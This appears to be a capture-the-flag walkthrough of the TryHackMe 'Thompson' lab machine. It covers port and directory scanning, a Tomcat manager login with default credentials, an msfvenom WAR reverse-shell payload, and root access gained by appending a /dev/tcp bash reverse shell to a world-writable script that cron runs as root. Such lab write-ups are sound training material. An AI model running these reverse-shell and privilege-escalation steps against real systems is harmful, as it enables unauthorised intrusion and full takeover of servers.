THM Thompson

This was an interesting machine, and one I’d recommend.

After starting the machine, the first thing I did was to perform an nmap scan.

sudo nmap -sS -sC -sV -p- 10.10.147.173 –open

Here are the results:

└──╼ $sudo nmap -sS -sC -sV -p- 10.10.147.173 –open
[sudo] password for jason:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-30 20:23 EST
Nmap scan report for 10.10.147.173
Host is up (0.10s latency).
Not shown: 65515 closed tcp ports (reset), 17 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to –defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-title: Apache Tomcat/8.5.5
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.65 seconds

Immediately, it can be seen that port 22 for ssh is open, however without credentials this is useless for the moment.

We also have 8080 open for Tomcat, running version 8.5.5 and jserv running on 8009. At first, I had considered ghostcat here, but I couldn’t get anything useful to come up. Instead, let’s run a dirb scan on 8080 to see what is open on the webserver.

dirb http://10.10.147.173:8080 -r

The results here are interesting:

──╼ $dirb http://10.10.147.173:8080 -r

—————–
DIRB v2.22
By The Dark Raver
—————–

START_TIME: Wed Nov 30 20:24:57 2022
URL_BASE: http://10.10.147.173:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Not Recursive

—————–

GENERATED WORDS: 4612

—- Scanning URL: http://10.10.147.173:8080/ —-
+ http://10.10.147.173:8080/docs (CODE:302|SIZE:0)
+ http://10.10.147.173:8080/examples (CODE:302|SIZE:0)
+ http://10.10.147.173:8080/favicon.ico (CODE:200|SIZE:21630)
+ http://10.10.147.173:8080/host-manager (CODE:302|SIZE:0)
+ http://10.10.147.173:8080/manager (CODE:302|SIZE:0)

—————–
END_TIME: Wed Nov 30 20:33:12 2022
DOWNLOADED: 4612 – FOUND: 5

The interesting one here is the /manager page. It does present us with a login, if we cancel that, it shows an info page with default credentials. If those credentials are tried on the login page, much to my amazement at least, it works.

The page it takes us too allows us to upload a .war file. This would allow the possibility of a reverse shell to be uploaded. Let’s create a payload using msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<YourIP> LPORT=4444 -f war > reverse.war

When this file is uploaded, you’ll see a new directory created on the page called /reverse.

Before browsing to it, make sure to open a netcat listener.

nc -nlvp 4444

After navigating to the page, you can get a reverse shell!

Next, it should be upgraded to a full shell.

python -c ‘import pty;

pty.spawn(“/bin/bash”)’

From here, I did my usual enumeration of the OS, the passwd file, temporary directories, SUIDs and crontab. The last of which was very interesting:

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don’t have to run the `crontab’
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts –report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts –report /etc/cron.monthly )
* * * * * root cd /home/jack && bash id.sh
#

It’s now time to check out jack’s home directory. This leads us to user.txt, and an interesting file that has universal write access… id.sh. We see that it’s being called by root as a cronjob, so with a quick edit we can have privilege escalation.

First, open up a new netcat listener in a separate terminal:

nc -nlvp 4445

Then, in the original, put in:

echo ‘bash -i >& /dev/tcp/<YOUR IP>/4445 0>&1’ >> id.sh

This will append a new command for a reverse shell at the end of id.sh. Once this is done, all that is left is to wait for your new shell to appear.

Once it connects, it will be root.

Finally, navigate to /root to find the last flag and a quick win!